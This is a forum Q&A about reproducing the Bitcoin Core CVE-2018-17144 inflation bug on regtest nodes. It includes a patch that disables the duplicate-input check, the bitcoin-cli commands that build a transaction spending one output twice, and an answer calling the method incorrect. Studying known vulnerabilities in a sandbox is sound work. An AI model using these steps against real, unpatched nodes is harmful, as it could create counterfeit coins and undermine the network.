reproduce CVE-2018-17144 (inflation bug) on regtest for learning

Question

I'm reviewing CVE-2018-17144 inflation vulnerability for learning. I think I reproduced the error on regtest. Is it a correct way to reproduce it? I want to know if I'm missing something about it.

Steps to reproduce:

I have 2 regtest nodes; bitcoindA, bitcoindB. The both version are v0.16.2 and connected each other.

bitcoindA is running as mining node with the following patch to accept invalid transaction.

$ git diff
+++ b/src/consensus/tx_verify.cpp
@@ -181,6 +181,7 @@ bool CheckTransaction(const CTransaction& tx, CValidationState &state, bool fChe
     }

     // Check for duplicate inputs - note that this check is slow so we skip it in CheckBlock
+    fCheckDuplicateInputs = false;
     if (fCheckDuplicateInputs) {
         std::set<COutPoint> vInOutPoints;

[1] generate 2 addresses on bitcoindB. (for receive the invalid utxo)

2NBeTpfn57VpE4e167tFuEtc761jYX7t893,
2N2bb6idv8qsPULP2rqGYoC5yirvVos6YEU

[2] mining 101 blocks on bitcoindA

$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest generate 101

[3] check the spendable txid from the mined block and a create transaction with the txid. duplicated utxo are set like the following.

$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest createrawtransaction '[{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0},{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0}]' '{"2NBeTpfn57VpE4e167tFuEtc761jYX7t893":99.99}'

[4] sign, broadcast and mining on bitcoinA. And then check utxo on bitcoinB.

$ ./bitcoinB/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16592 -regtest listunspent

[
  {
    "txid": "c885a3f8c0275424401d2793e69aa6bca81f7badbfc1755e18033e8801b74703",
    "vout": 0,
    "address": "2NBeTpfn57VpE4e167tFuEtc761jYX7t893",
    "account": "",
    "redeemScript": "00141c8746e62e30554790f9bd74eeea89f45bdd5e13",
    "scriptPubKey": "a914c9d76124901125aaf2a9b37d8e2d1103a9e5508387",
    "amount": 99.99000000,
    "confirmations": 1,
    "spendable": true,
    "solvable": true,
    "safe": true
  }
]

[5] check if the above utxo is possible to send to the generated address (2N2bb6idv8qsPULP2rqGYoC5yirvVos6YEU)

Answer 1

No, that's incorrect, there is two types of double spend:

1. single transaction spending the same utxo
2. multiple transaction spending the same utxo

CheckTransaction() which is called by CheckBlock() only validate the first case, not the second, the second is done by both Consensus::CheckTxInputs and CheckInputs(),

if you look at the code in CheckTransaction, it only check whether there are duplicated vins exists in the same transaction, it doesn't know whether the vins has been spent in another transaction.